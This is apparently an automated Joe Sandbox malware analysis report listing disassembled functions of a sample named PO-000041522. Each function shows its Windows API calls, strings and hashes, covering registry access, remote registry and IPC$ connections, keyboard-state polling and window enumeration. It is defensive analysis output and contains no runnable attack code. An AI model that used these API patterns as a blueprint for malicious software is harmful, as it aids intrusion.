                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                • API String ID: 3052893215-4176887700
                                                                                                • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                                • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                APIs
                                                                                                • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                                • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                                • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                  • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                                • String ID: Version$\TypeLib$interface\
                                                                                                • API String ID: 656856066-939221531
                                                                                                • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                                • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                APIs
                                                                                                • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                • _printf.LIBCMT ref: 0045E7A9
                                                                                                • _printf.LIBCMT ref: 0045E7D2
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                • API String ID: 3590180749-2354261254
                                                                                                • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                                • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                                APIs
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • _memset.LIBCMT ref: 00458194
                                                                                                • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                                • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                • API String ID: 2255324689-22481851
                                                                                                • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                                • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                                APIs
                                                                                                • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                                • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                                • String ID: ($interface$interface\
                                                                                                • API String ID: 2231185022-3327702407
                                                                                                • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                                • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                                APIs
                                                                                                • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                                                • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                                                • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                                                • _wcscpy.LIBCMT ref: 004365F5
                                                                                                • WSACleanup.WSOCK32 ref: 004365FD
                                                                                                • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                                                • _strcat.LIBCMT ref: 0043662F
                                                                                                • _wcscpy.LIBCMT ref: 00436644
                                                                                                • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                                                • _wcscpy.LIBCMT ref: 00436666
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                • String ID: 0.0.0.0
                                                                                                • API String ID: 2691793716-3771769585
                                                                                                • Opcode ID: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                • Opcode Fuzzy Hash: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                APIs
                                                                                                • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                                • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                  • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                                  • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                                • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                                • __lock.LIBCMT ref: 00416B8A
                                                                                                • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                                • __lock.LIBCMT ref: 00416BAB
                                                                                                • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                • API String ID: 1028249917-2843748187
                                                                                                • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                                • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$CharNext
                                                                                                • String ID:
                                                                                                • API String ID: 1350042424-0
                                                                                                • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                APIs
                                                                                                • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: State$Async$Keyboard
                                                                                                • String ID:
                                                                                                • API String ID: 541375521-0
                                                                                                • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                APIs
                                                                                                • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                                                • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                                                • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                                                • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                                                • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                                                • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                                                • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$ItemMoveRect$Invalidate
                                                                                                • String ID:
                                                                                                • API String ID: 3096461208-0
                                                                                                • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                                                • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                • String ID:
                                                                                                • API String ID: 136442275-0
                                                                                                • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                • String ID: HH
                                                                                                • API String ID: 535477410-2761332787
                                                                                                • Opcode ID: 72bb0fe9bf3b86a365a6c609644efd6196c29595d5843753457332fa05634adb
                                                                                                • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                • Opcode Fuzzy Hash: 72bb0fe9bf3b86a365a6c609644efd6196c29595d5843753457332fa05634adb
                                                                                                • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                APIs
                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                • _wcslen.LIBCMT ref: 00460502
                                                                                                • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                • String ID: ThumbnailClass
                                                                                                • API String ID: 4123061591-1241985126
                                                                                                • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                APIs
                                                                                                  • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                  • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                  • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                  • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                                • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                                • ReleaseCapture.USER32 ref: 0046F589
                                                                                                • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                                • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                                • API String ID: 2483343779-2060113733
                                                                                                • Opcode ID: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
